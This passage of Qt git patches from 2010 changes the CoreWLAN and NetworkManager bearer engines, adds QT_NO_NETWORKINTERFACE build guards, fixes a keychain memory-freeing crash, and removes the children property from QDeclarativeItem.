attributes[1].data = (void *)[keyKind UTF8String]; - attributes[1].length = [keyKind length]; + attributes[1].tag = kSecDescriptionItemAttr; + attributes[1].data = (void *)[keyKind UTF8String]; + attributes[1].length = [keyKind length]; - attributes[2].tag = kSecLabelItemAttr; - attributes[2].data = (void *)[keyName UTF8String]; - attributes[2].length = [keyName length]; + attributes[2].tag = kSecLabelItemAttr; + attributes[2].data = (void *)[keyName UTF8String]; + attributes[2].length = [keyName length]; - SecKeychainAttributeList attributeList = {3,attributes}; + SecKeychainAttributeList attributeList = {3,attributes}; - SecKeychainSearchRef searchRef; - OSErr result = SecKeychainSearchCreateFromAttributes(NULL, kSecGenericPasswordItemClass, &attributeList, &searchRef); + SecKeychainSearchRef searchRef; + OSErr result = SecKeychainSearchCreateFromAttributes(NULL, kSecGenericPasswordItemClass, &attributeList, &searchRef); - NSString *password = @""; - SecKeychainItemRef searchItem; + NSString *password = @""; + SecKeychainItemRef searchItem; - if (SecKeychainSearchCopyNext(searchRef, &searchItem) == noErr) { - UInt32 realPasswordLength; - SecKeychainAttribute attributesW[8]; - attributesW[0].tag = kSecAccountItemAttr; - SecKeychainAttributeList listW = {1,attributesW}; - char *realPassword; - OSStatus status = SecKeychainItemCopyContent(searchItem, NULL, &listW, &realPasswordLength,(void **)&realPassword); + if (SecKeychainSearchCopyNext(searchRef, &searchItem) == noErr) { + UInt32 realPasswordLength; + SecKeychainAttribute attributesW[8]; + attributesW[0].tag = kSecAccountItemAttr; + SecKeychainAttributeList listW = {1,attributesW}; + char *realPassword; + OSStatus status = SecKeychainItemCopyContent(searchItem, NULL, &listW, &realPasswordLength,(void **)&realPassword); - if (status == noErr) { - if (realPassword != NULL) { + if (status == noErr) { + if (realPassword != NULL) { - QByteArray pBuf; - pBuf.resize(realPasswordLength); - pBuf.prepend(realPassword); - pBuf.insert(realPasswordLength,'\0'); + QByteArray pBuf; + pBuf.resize(realPasswordLength); + pBuf.prepend(realPassword); + pBuf.insert(realPasswordLength,'\0'); - password = [NSString stringWithUTF8String:pBuf]; - } + password = [NSString stringWithUTF8String:pBuf]; } - - CFRelease(searchItem); - SecKeychainItemFreeContent(&listW, realPassword); - } else { - qDebug() << "SecKeychainSearchCopyNext error"; } - [params setValue: password forKey: kCWAssocKeyPassphrase]; - } // end using8021X + CFRelease(searchItem); + SecKeychainItemFreeContent(&listW, realPassword); + } else { + qDebug() << "SecKeychainSearchCopyNext error"; + } + [params setValue: password forKey: kCWAssocKeyPassphrase]; + } // end using8021X - bool result = [wifiInterface associateToNetwork: apNetwork parameters:[NSDictionary dictionaryWithDictionary:params] error:&err]; - if(!err) { - if(!result) { - emit connectionError(id, ConnectError); - } else { - return; - } + bool result = [wifiInterface associateToNetwork: apNetwork parameters:[NSDictionary dictionaryWithDictionary:params] error:&err]; + + if(!err) { + if(!result) { + emit connectionError(id, ConnectError); } else { - qDebug() <<"associate ERROR"<< qt_mac_NSStringToQString([err localizedDescription ]); + return; } + } else { + qDebug() <<"associate ERROR"<< qt_mac_NSStringToQString([err localizedDescription ]); } - } //end scan network - } else { - qDebug() <<"scan ERROR"<< qt_mac_NSStringToQString([err localizedDescription ]); - } - emit connectionError(id, InterfaceLookupError); + } + } //end scan network } else { - // not wifi + qDebug() <<"scan ERROR"<< qt_mac_NSStringToQString([err localizedDescription ]); } - locker.unlock(); emit connectionError(id, InterfaceLookupError); - locker.relock(); } locker.unlock(); - emit connectionError(id, OperationNotSupported); + emit connectionError(id, InterfaceLookupError); } void QCoreWlanEngine::disconnectFromId(const QString &id) @@ -344,24 +334,17 @@ void QCoreWlanEngine::disconnectFromId(const QString &id) QMutexLocker locker(&mutex); QString interfaceString = getInterfaceFromId(id); - if(networkInterfaces.value(getInterfaceFromId(id)) == "WLAN") { //wifi only for now -#if defined(MAC_SDK_10_6) - QMacCocoaAutoReleasePool pool; - CWInterface *wifiInterface = [CWInterface interfaceWithName: qt_mac_QStringToNSString(interfaceString)]; - [wifiInterface disassociate]; - if([[wifiInterface interfaceState]intValue] != kCWInterfaceStateInactive) { - locker.unlock(); - emit connectionError(id, DisconnectionError); - locker.relock(); - } - return; -#endif - } else { + QMacCocoaAutoReleasePool pool; - } + CWInterface *wifiInterface = + [CWInterface interfaceWithName: qt_mac_QStringToNSString(interfaceString)]; - locker.unlock(); - emit connectionError(id, OperationNotSupported); + [wifiInterface disassociate]; + if ([[wifiInterface interfaceState]intValue] != kCWInterfaceStateInactive) { + locker.unlock(); + emit connectionError(id, DisconnectionError); + locker.relock(); + } } void QCoreWlanEngine::requestUpdate() @@ -374,81 +357,15 @@ void QCoreWlanEngine::doRequestUpdate() { QMutexLocker locker(&mutex); - getWifiInterfaces(); + QMacCocoaAutoReleasePool pool; QStringList previous = accessPointConfigurations.keys(); - QMapIterator i(networkInterfaces); - while (i.hasNext()) { - i.next(); - if (i.value() == QLatin1String("WLAN")) { - QStringList added = scanForSsids(i.key()); - while (!added.isEmpty()) { - previous.removeAll(added.takeFirst()); - } - } - - QNetworkInterface interface = QNetworkInterface::interfaceFromName(i.key()); - - if (!interface.isValid()) - continue; - - uint identifier; - if (interface.index()) - identifier = qHash(QLatin1String("corewlan:") + QString::number(interface.index())); - else - identifier = qHash(QLatin1String("corewlan:") + interface.hardwareAddress()); - - const QString id = QString::number(identifier); - - previous.removeAll(id); - - QString name = interface.humanReadableName(); - if (name.isEmpty()) - name = interface.name(); - - QNetworkConfiguration::StateFlags state = QNetworkConfiguration::Undefined; - - if (interface.flags() && QNetworkInterface::IsRunning) - state = QNetworkConfiguration::Defined; - - if (!interface.addressEntries().isEmpty()) - state = QNetworkConfiguration::Active; - - if (accessPointConfigurations.contains(id)) { //handle only scanned AP's - QNetworkConfigurationPrivatePointer ptr = accessPointConfigurations.value(id); - - bool changed = false; - - ptr->mutex.lock(); - - if (!ptr->isValid) { - ptr->isValid = true; - changed = true; - } - - if (ptr->name != name) { - ptr->name = name; - changed = true; - } - - if (ptr->id != id) { - ptr->id = id; - changed = true; - } - - if (ptr->state != state) { - ptr->state = state; - changed = true; - } - - ptr->mutex.unlock(); - - if (changed) { - locker.unlock(); - emit configurationChanged(ptr); - locker.relock(); - } + NSArray *wifiInterfaces = [CWInterface supportedInterfaces]; + for (uint row = 0; row < [wifiInterfaces count]; ++row) { + foreach (const QString &interface, + scanForSsids(qt_mac_NSStringToQString([wifiInterfaces objectAtIndex:row]))) { + previous.removeAll(interface); } } @@ -648,20 +565,6 @@ bool QCoreWlanEngine::isKnownSsid(const QString &ssid) return false; } -bool QCoreWlanEngine::getWifiInterfaces() -{ - QMutexLocker locker(&mutex); - - networkInterfaces.clear(); - QMacCocoaAutoReleasePool pool; - - NSArray *wifiInterfaces = [CWInterface supportedInterfaces]; - for(uint row=0; row < [wifiInterfaces count]; row++ ) { - networkInterfaces.insert( qt_mac_NSStringToQString([wifiInterfaces objectAtIndex:row]),"WLAN"); - } - return true; -} - QNetworkSession::State QCoreWlanEngine::sessionStateForId(const QString &id) { QMutexLocker locker(&mutex); -- cgit v0.12 From af5501d2bef7242d3949d639e2bab7e326654bb2 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Thu, 25 Mar 2010 10:57:11 +1000 Subject: Don't emit signals in constructor. --- src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp | 13 +++++++++---- src/plugins/bearer/networkmanager/qnetworkmanagerengine.h | 2 ++ 2 files changed, 11 insertions(+), 4 deletions(-) diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp index d7e315a..2b2df07 100644 --- a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp +++ b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp @@ -91,6 +91,15 @@ QNetworkManagerEngine::QNetworkManagerEngine(QObject *parent) connect(userSettings, SIGNAL(newConnection(QDBusObjectPath)), this, SLOT(newConnection(QDBusObjectPath))); + QMetaObject::invokeMethod(this, "init", Qt::QueuedConnection); +} + +QNetworkManagerEngine::~QNetworkManagerEngine() +{ +} + +void QNetworkManagerEngine::init() +{ // Get current list of access points. foreach (const QDBusObjectPath &devicePath, interface->getDevices()) deviceAdded(devicePath); @@ -113,10 +122,6 @@ QNetworkManagerEngine::QNetworkManagerEngine(QObject *parent) } } -QNetworkManagerEngine::~QNetworkManagerEngine() -{ -} - bool QNetworkManagerEngine::networkManagerAvailable() const { QMutexLocker locker(&mutex); diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.h b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.h index 05a1429..af3f450 100644 --- a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.h +++ b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.h @@ -70,6 +70,8 @@ public: QNetworkManagerEngine(QObject *parent = 0); ~QNetworkManagerEngine(); + Q_INVOKABLE void init(); + bool networkManagerAvailable() const; QString getInterfaceFromId(const QString &id); -- cgit v0.12 From 3ccbfc46ef2647421608522aa38c12958e4ea3c3 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Thu, 25 Mar 2010 10:56:37 +1000 Subject: Compile with QT_NO_NETWORKINTERFACE defined. --- examples/network/bearercloud/bearercloud.h | 4 ++-- examples/network/bearercloud/cloud.cpp | 4 +++- examples/network/bearercloud/cloud.h | 6 +++--- examples/network/bearermonitor/sessionwidget.cpp | 9 +++++++++ src/network/bearer/qnetworkconfigmanager_p.h | 1 + src/network/bearer/qnetworkconfiguration_p.h | 1 - src/network/bearer/qnetworksession.cpp | 2 ++ src/network/bearer/qnetworksession.h | 2 ++ src/network/bearer/qnetworksession_p.h | 4 ++-- src/plugins/bearer/generic/qgenericengine.cpp | 5 +++++ src/plugins/bearer/icd/qnetworksession_impl.cpp | 4 ++-- src/plugins/bearer/icd/qnetworksession_impl.h | 7 ++----- src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp | 2 +- src/plugins/bearer/networkmanager/qnetworkmanagerservice.cpp | 4 ++-- src/plugins/bearer/networkmanager/qnetworkmanagerservice.h | 4 +--- src/plugins/bearer/qnetworksession_impl.cpp | 4 ++-- src/plugins/bearer/qnetworksession_impl.h | 2 ++ src/plugins/bearer/symbian/qnetworksession_impl.cpp | 10 ++++++++++ src/plugins/bearer/symbian/qnetworksession_impl.h | 6 ++++++ tests/auto/qnetworksession/test/tst_qnetworksession.cpp | 10 ++++++++++ 20 files changed, 67 insertions(+), 24 deletions(-) diff --git a/examples/network/bearercloud/bearercloud.h b/examples/network/bearercloud/bearercloud.h index f09cb53..09de4c6 100644 --- a/examples/network/bearercloud/bearercloud.h +++ b/examples/network/bearercloud/bearercloud.h @@ -1,6 +1,6 @@ /**************************************************************************** ** -** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies). +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** @@ -39,7 +39,7 @@ ** ****************************************************************************/ -#include +#include #include #include diff --git a/examples/network/bearercloud/cloud.cpp b/examples/network/bearercloud/cloud.cpp index 81e13a6..d041034 100644 --- a/examples/network/bearercloud/cloud.cpp +++ b/examples/network/bearercloud/cloud.cpp @@ -1,6 +1,6 @@ /**************************************************************************** ** -** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies). +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** @@ -253,10 +253,12 @@ void Cloud::stateChanged(QNetworkSession::State state) else tooltip += tr("%1
").arg(configuration.name()); +#ifndef QT_NO_NETWORKINTERFACE const QNetworkInterface interface = session->interface(); if (interface.isValid()) tooltip += tr("
Interface: %1").arg(interface.humanReadableName()); tooltip += tr("
Id: %1").arg(configuration.identifier()); +#endif const QString bearerName = configuration.bearerName(); if (!bearerName.isEmpty()) diff --git a/examples/network/bearercloud/cloud.h b/examples/network/bearercloud/cloud.h index 5d4e52a..9e25fb6 100644 --- a/examples/network/bearercloud/cloud.h +++ b/examples/network/bearercloud/cloud.h @@ -1,6 +1,6 @@ /**************************************************************************** ** -** Copyright (C) 2009 Nokia Corporation and/or its subsidiary(-ies). +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). ** All rights reserved. ** Contact: Nokia Corporation (qt-info@nokia.com) ** @@ -39,8 +39,8 @@ ** ****************************************************************************/ -#include -#include +#include +#include #include QT_USE_NAMESPACE diff --git a/examples/network/bearermonitor/sessionwidget.cpp b/examples/network/bearermonitor/sessionwidget.cpp index 46ffb20..655c1ac 100644 --- a/examples/network/bearermonitor/sessionwidget.cpp +++ b/examples/network/bearermonitor/sessionwidget.cpp @@ -47,6 +47,13 @@ SessionWidget::SessionWidget(const QNetworkConfiguration &config, QWidget *paren { setupUi(this); +#ifdef QT_NO_NETWORKINTERFACE + interfaceName->setVisible(false); + interfaceNameLabel->setVisible(false); + interfaceGuid->setVisible(false); + interfaceGuidLabel->setVisible(false); +#endif + session = new QNetworkSession(config, this); connect(session, SIGNAL(stateChanged(QNetworkSession::State)), @@ -102,8 +109,10 @@ void SessionWidget::updateSession() bearer->setText(c.bearerName()); } +#ifndef QT_NO_NETWORKINTERFACE interfaceName->setText(session->interface().humanReadableName()); interfaceGuid->setText(session->interface().name()); +#endif } void SessionWidget::openSession() diff --git a/src/network/bearer/qnetworkconfigmanager_p.h b/src/network/bearer/qnetworkconfigmanager_p.h index 8ec8152..dba9d2c 100644 --- a/src/network/bearer/qnetworkconfigmanager_p.h +++ b/src/network/bearer/qnetworkconfigmanager_p.h @@ -57,6 +57,7 @@ #include "qnetworkconfiguration_p.h" #include +#include QT_BEGIN_NAMESPACE diff --git a/src/network/bearer/qnetworkconfiguration_p.h b/src/network/bearer/qnetworkconfiguration_p.h index 07b472e..ccbe670 100644 --- a/src/network/bearer/qnetworkconfiguration_p.h +++ b/src/network/bearer/qnetworkconfiguration_p.h @@ -57,7 +57,6 @@ #include #include -#include QT_BEGIN_NAMESPACE diff --git a/src/network/bearer/qnetworksession.cpp b/src/network/bearer/qnetworksession.cpp index ca21dcd..1bba56f 100644 --- a/src/network/bearer/qnetworksession.cpp +++ b/src/network/bearer/qnetworksession.cpp @@ -370,6 +370,7 @@ QNetworkConfiguration QNetworkSession::configuration() const return d ? d->publicConfig : QNetworkConfiguration(); } +#ifndef QT_NO_NETWORKINTERFACE /*! Returns the network interface that is used by this session. @@ -386,6 +387,7 @@ QNetworkInterface QNetworkSession::interface() const { return d ? d->currentInterface() : QNetworkInterface(); } +#endif /*! Returns true if this session is open. If the number of all open sessions is greater than diff --git a/src/network/bearer/qnetworksession.h b/src/network/bearer/qnetworksession.h index 1f25088..596f527 100644 --- a/src/network/bearer/qnetworksession.h +++ b/src/network/bearer/qnetworksession.h @@ -86,7 +86,9 @@ public: bool isOpen() const; QNetworkConfiguration configuration() const; +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface interface() const; +#endif State state() const; SessionError error() const; diff --git a/src/network/bearer/qnetworksession_p.h b/src/network/bearer/qnetworksession_p.h index 76691b3..a341eaf 100644 --- a/src/network/bearer/qnetworksession_p.h +++ b/src/network/bearer/qnetworksession_p.h @@ -56,8 +56,6 @@ #include "qnetworksession.h" #include "qnetworkconfiguration_p.h" -#include - QT_BEGIN_NAMESPACE class Q_NETWORK_EXPORT QNetworkSessionPrivate : public QObject @@ -82,7 +80,9 @@ public: //notification hooks to discover future state changes. virtual void syncStateWithInterface() = 0; +#ifndef QT_NO_NETWORKINTERFACE virtual QNetworkInterface currentInterface() const = 0; +#endif virtual QVariant sessionProperty(const QString& key) const = 0; virtual void setSessionProperty(const QString& key, const QVariant& value) = 0; diff --git a/src/plugins/bearer/generic/qgenericengine.cpp b/src/plugins/bearer/generic/qgenericengine.cpp index b2d1b1f..d65025b 100644 --- a/src/plugins/bearer/generic/qgenericengine.cpp +++ b/src/plugins/bearer/generic/qgenericengine.cpp @@ -66,6 +66,7 @@ QT_BEGIN_NAMESPACE +#ifndef QT_NO_NETWORKINTERFACE static QString qGetInterfaceType(const QString &interface) { #ifdef Q_OS_WIN32 @@ -139,6 +140,7 @@ static QString qGetInterfaceType(const QString &interface) return QLatin1String("Unknown"); } +#endif QGenericEngine::QGenericEngine(QObject *parent) : QBearerEngineImpl(parent) @@ -180,6 +182,7 @@ void QGenericEngine::requestUpdate() void QGenericEngine::doRequestUpdate() { +#ifndef QT_NO_NETWORKINTERFACE QMutexLocker locker(&mutex); // Immediately after connecting with a wireless access point @@ -290,6 +293,8 @@ void QGenericEngine::doRequestUpdate() } locker.unlock(); +#endif + emit updateCompleted(); } diff --git a/src/plugins/bearer/icd/qnetworksession_impl.cpp b/src/plugins/bearer/icd/qnetworksession_impl.cpp index 06e0529..5bf95dc 100644 --- a/src/plugins/bearer/icd/qnetworksession_impl.cpp +++ b/src/plugins/bearer/icd/qnetworksession_impl.cpp @@ -1110,7 +1110,7 @@ void QNetworkSessionPrivateImpl::reject() { } - +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface QNetworkSessionPrivateImpl::currentInterface() const { if (!publicConfig.isValid() || state != QNetworkSession::Connected) @@ -1121,7 +1121,7 @@ QNetworkInterface QNetworkSessionPrivateImpl::currentInterface() const return QNetworkInterface::interfaceFromName(currentNetworkInterface); } - +#endif void QNetworkSessionPrivateImpl::setSessionProperty(const QString& key, const QVariant& value) { diff --git a/src/plugins/bearer/icd/qnetworksession_impl.h b/src/plugins/bearer/icd/qnetworksession_impl.h index 587e6dc..c02faac 100644 --- a/src/plugins/bearer/icd/qnetworksession_impl.h +++ b/src/plugins/bearer/icd/qnetworksession_impl.h @@ -56,11 +56,6 @@ #include #include -//#include "qnetworkconfigmanager_maemo_p.h" -//#include "qnetworksession.h" - -//#include -//#include #include #include @@ -90,7 +85,9 @@ public: //notification hooks to discover future state changes. void syncStateWithInterface(); +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface currentInterface() const; +#endif QVariant sessionProperty(const QString& key) const; void setSessionProperty(const QString& key, const QVariant& value); diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp index 2b2df07..28ee38e 100644 --- a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp +++ b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp @@ -151,7 +151,7 @@ QString QNetworkManagerEngine::getInterfaceFromId(const QString &id) continue; QNetworkManagerInterfaceDevice device(devices.at(0).path()); - return device.networkInterface().name(); + return device.networkInterface(); } } diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerservice.cpp b/src/plugins/bearer/networkmanager/qnetworkmanagerservice.cpp index d23bb0d..a20370b 100644 --- a/src/plugins/bearer/networkmanager/qnetworkmanagerservice.cpp +++ b/src/plugins/bearer/networkmanager/qnetworkmanagerservice.cpp @@ -353,9 +353,9 @@ QString QNetworkManagerInterfaceDevice::udi() const return d->connectionInterface->property("Udi").toString(); } -QNetworkInterface QNetworkManagerInterfaceDevice::networkInterface() const +QString QNetworkManagerInterfaceDevice::networkInterface() const { - return QNetworkInterface::interfaceFromName(d->connectionInterface->property("Interface").toString()); + return d->connectionInterface->property("Interface").toString(); } quint32 QNetworkManagerInterfaceDevice::ip4Address() const diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h b/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h index ecca537..95f5b4a 100644 --- a/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h +++ b/src/plugins/bearer/networkmanager/qnetworkmanagerservice.h @@ -59,8 +59,6 @@ #include #include #include -#include - #include #include @@ -252,7 +250,7 @@ public: ~QNetworkManagerInterfaceDevice(); QString udi() const; - QNetworkInterface networkInterface() const; + QString networkInterface() const; QDBusInterface *connectionInterface() const; quint32 ip4Address() const; quint32 state() const; diff --git a/src/plugins/bearer/qnetworksession_impl.cpp b/src/plugins/bearer/qnetworksession_impl.cpp index db1759c..33cce69 100644 --- a/src/plugins/bearer/qnetworksession_impl.cpp +++ b/src/plugins/bearer/qnetworksession_impl.cpp @@ -49,8 +49,6 @@ #include #include -#include - QT_BEGIN_NAMESPACE static QBearerEngineImpl *getEngineFromId(const QString &id) @@ -218,6 +216,7 @@ void QNetworkSessionPrivateImpl::reject() { } +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface QNetworkSessionPrivateImpl::currentInterface() const { if (!publicConfig.isValid() || !engine || state != QNetworkSession::Connected) @@ -229,6 +228,7 @@ QNetworkInterface QNetworkSessionPrivateImpl::currentInterface() const return QNetworkInterface(); return QNetworkInterface::interfaceFromName(interface); } +#endif QVariant QNetworkSessionPrivateImpl::sessionProperty(const QString &key) const { diff --git a/src/plugins/bearer/qnetworksession_impl.h b/src/plugins/bearer/qnetworksession_impl.h index c644174..3becbf0 100644 --- a/src/plugins/bearer/qnetworksession_impl.h +++ b/src/plugins/bearer/qnetworksession_impl.h @@ -83,7 +83,9 @@ public: //notification hooks to discover future state changes. void syncStateWithInterface(); +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface currentInterface() const; +#endif QVariant sessionProperty(const QString& key) const; void setSessionProperty(const QString& key, const QVariant& value); diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.cpp b/src/plugins/bearer/symbian/qnetworksession_impl.cpp index 8910efe..512ea51 100644 --- a/src/plugins/bearer/symbian/qnetworksession_impl.cpp +++ b/src/plugins/bearer/symbian/qnetworksession_impl.cpp @@ -152,6 +152,7 @@ void QNetworkSessionPrivateImpl::syncStateWithInterface() } } +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface QNetworkSessionPrivateImpl::interface(TUint iapId) const { QString interfaceName; @@ -189,7 +190,9 @@ QNetworkInterface QNetworkSessionPrivateImpl::interface(TUint iapId) const return QNetworkInterface::interfaceFromName(interfaceName); } +#endif +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface QNetworkSessionPrivateImpl::currentInterface() const { if (!publicConfig.isValid() || state != QNetworkSession::Connected) { @@ -198,6 +201,7 @@ QNetworkInterface QNetworkSessionPrivateImpl::currentInterface() const return activeInterface; } +#endif QVariant QNetworkSessionPrivateImpl::sessionProperty(const QString& /*key*/) const { @@ -309,7 +313,9 @@ void QNetworkSessionPrivateImpl::open() if (connInfo().iIapId == symbianConfig->numericId) { if (iConnection.Attach(connInfo, RConnection::EAttachTypeNormal) == KErrNone) { activeConfig = publicConfig; +#ifndef QT_NO_NETWORKINTERFACE activeInterface = interface(symbianConfig->numericId); +#endif connected = ETrue; startTime = QDateTime::currentDateTime(); if (iDynamicSetdefaultif) { @@ -878,7 +884,9 @@ void QNetworkSessionPrivateImpl::RunL() toSymbianConfig(privateConfiguration(activeConfig)); symbianConfig->mutex.lock(); +#ifndef QT_NO_NETWORKINTERFACE activeInterface = interface(symbianConfig->numericId); +#endif if (publicConfig.type() == QNetworkConfiguration::UserChoice) { serviceConfig = QNetworkConfigurationManager() .configurationFromIdentifier(symbianConfig->serviceNetworkPtr->id); @@ -936,9 +944,11 @@ bool QNetworkSessionPrivateImpl::newState(QNetworkSession::State newState, TUint SymbianNetworkConfigurationPrivate *symbianConfig = toSymbianConfig(privateConfiguration(activeConfig)); +#ifndef QT_NO_NETWORKINTERFACE symbianConfig->mutex.lock(); activeInterface = interface(symbianConfig->numericId); symbianConfig->mutex.unlock(); +#endif #ifdef SNAP_FUNCTIONALITY_AVAILABLE if (iDynamicSetdefaultif) { diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.h b/src/plugins/bearer/symbian/qnetworksession_impl.h index 35e2c58..9a57eae 100644 --- a/src/plugins/bearer/symbian/qnetworksession_impl.h +++ b/src/plugins/bearer/symbian/qnetworksession_impl.h @@ -89,7 +89,9 @@ public: //notification hooks to discover future state changes. void syncStateWithInterface(); +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface currentInterface() const; +#endif QVariant sessionProperty(const QString& key) const; void setSessionProperty(const QString& key, const QVariant& value); @@ -137,12 +139,16 @@ private: void handleSymbianConnectionStatusChange(TInt aConnectionStatus, TInt aError, TUint accessPointId = 0); QNetworkConfiguration bestConfigFromSNAP(const QNetworkConfiguration& snapConfig) const; QNetworkConfiguration activeConfiguration(TUint32 iapId = 0) const; +#ifndef QT_NO_NETWORKINTERFACE QNetworkInterface interface(TUint iapId) const; +#endif private: // data SymbianEngine *engine; +#ifndef QT_NO_NETWORKINTERFACE mutable QNetworkInterface activeInterface; +#endif QDateTime startTime; diff --git a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp index c08120c..58b0576 100644 --- a/tests/auto/qnetworksession/test/tst_qnetworksession.cpp +++ b/tests/auto/qnetworksession/test/tst_qnetworksession.cpp @@ -355,11 +355,13 @@ void tst_QNetworkSession::sessionProperties() // QNetworkSession::interface() should return an invalid interface unless // session is in the connected state. qDebug() << "Session state:" << session.state(); +#ifndef QT_NO_NETWORKINTERFACE qDebug() << "Session iface:" << session.interface().isValid() << session.interface().name(); #if !(defined(Q_OS_SYMBIAN) && defined(__WINS__)) // On Symbian emulator, the support for data bearers is limited QCOMPARE(session.state() == QNetworkSession::Connected, session.interface().isValid()); #endif +#endif if (!configuration.isValid()) { QVERIFY(configuration.state() == QNetworkConfiguration::Undefined && @@ -694,10 +696,12 @@ void tst_QNetworkSession::userChoiceSession() QTRY_VERIFY(!stateChangedSpy.isEmpty()); QVERIFY(session.state() == QNetworkSession::Connected); +#ifndef QT_NO_NETWORKINTERFACE #if !(defined(Q_OS_SYMBIAN) && defined(__WINS__)) // On Symbian emulator, the support for data bearers is limited QVERIFY(session.interface().isValid()); #endif +#endif const QString userChoiceIdentifier = session.sessionProperty("UserChoiceConfiguration").toString(); @@ -839,10 +843,12 @@ void tst_QNetworkSession::sessionOpenCloseStop() } QVERIFY(session.state() == QNetworkSession::Connected); +#ifndef QT_NO_NETWORKINTERFACE #if !(defined(Q_OS_SYMBIAN) && defined(__WINS__)) // On Symbian emulator, the support for data bearers is limited QVERIFY(session.interface().isValid()); #endif +#endif } else { QFAIL("Timeout waiting for session to open."); } @@ -875,12 +881,14 @@ void tst_QNetworkSession::sessionOpenCloseStop() QVERIFY(session2.isOpen()); QVERIFY(session.state() == QNetworkSession::Connected); QVERIFY(session2.state() == QNetworkSession::Connected); +#ifndef QT_NO_NETWORKINTERFACE #if !(defined(Q_OS_SYMBIAN) && defined(__WINS__)) // On Symbian emulator, the support for data bearers is limited QVERIFY(session.interface().isValid()); #endif QCOMPARE(session.interface().hardwareAddress(), session2.interface().hardwareAddress()); QCOMPARE(session.interface().index(), session2.interface().index()); +#endif } sessionOpenedSpy2.clear(); @@ -1051,12 +1059,14 @@ void tst_QNetworkSession::sessionOpenCloseStop() QVERIFY(!session2.isOpen()); QVERIFY(session.state() == QNetworkSession::Connected); QVERIFY(session2.state() == QNetworkSession::Connected); +#ifndef QT_NO_NETWORKINTERFACE #if !(defined(Q_OS_SYMBIAN) && defined(__WINS__)) // On Symbian emulator, the support for data bearers is limited QVERIFY(session.interface().isValid()); #endif QCOMPARE(session.interface().hardwareAddress(), session2.interface().hardwareAddress()); QCOMPARE(session.interface().index(), session2.interface().index()); +#endif } sessionClosedSpy2.clear(); -- cgit v0.12 From 18f77ff7945c679dda9e5ed0c5833365c7dcaf78 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Thu, 25 Mar 2010 16:14:39 +1000 Subject: Fix crash. Resources are not allocated on error. Only free on success. --- src/plugins/bearer/corewlan/qcorewlanengine.mm | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/plugins/bearer/corewlan/qcorewlanengine.mm b/src/plugins/bearer/corewlan/qcorewlanengine.mm index e565307..0e9e4bd 100644 --- a/src/plugins/bearer/corewlan/qcorewlanengine.mm +++ b/src/plugins/bearer/corewlan/qcorewlanengine.mm @@ -295,10 +295,10 @@ void QCoreWlanEngine::connectToId(const QString &id) password = [NSString stringWithUTF8String:pBuf]; } + SecKeychainItemFreeContent(&listW, realPassword); } CFRelease(searchItem); - SecKeychainItemFreeContent(&listW, realPassword); } else { qDebug() << "SecKeychainSearchCopyNext error"; } -- cgit v0.12 From 3ded7df045edf0639d83664605aa4236715c6d39 Mon Sep 17 00:00:00 2001 From: Alexis Menard Date: Thu, 25 Mar 2010 07:02:48 +0100 Subject: Remove the children property from QDeclarativeItem. This commit remove the children property from QDeclarativeItem because it's now in QGraphicsObject. This commit also get rid of width and height properties to use the one in QGraphicsObject. Task-number:QT-2757 Reviewed-by:akennedy --- src/declarative/graphicsitems/qdeclarativeitem.cpp | 173 +++++++++------------ src/declarative/graphicsitems/qdeclarativeitem.h | 8 +- src/declarative/graphicsitems/qdeclarativeitem_p.h | 25 +-- 3 files changed, 93 insertions(+), 113 deletions(-) diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp index 9b1bdba..f61ad8e 100644 --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp @@ -1273,16 +1273,6 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec */ /*! - \fn void QDeclarativeItem::widthChanged() - \internal -*/ - -/*! - \fn void QDeclarativeItem::heightChanged() - \internal -*/ - -/*! \fn void QDeclarativeItem::stateChanged(const QString &state) \internal */ @@ -1462,11 +1452,6 @@ QDeclarativeItem *QDeclarativeItem::parentItem() const */ /*! - \property QDeclarativeItem::children - \internal -*/ - -/*! \property QDeclarativeItem::resources \internal */ @@ -1500,11 +1485,12 @@ QDeclarativeAnchors 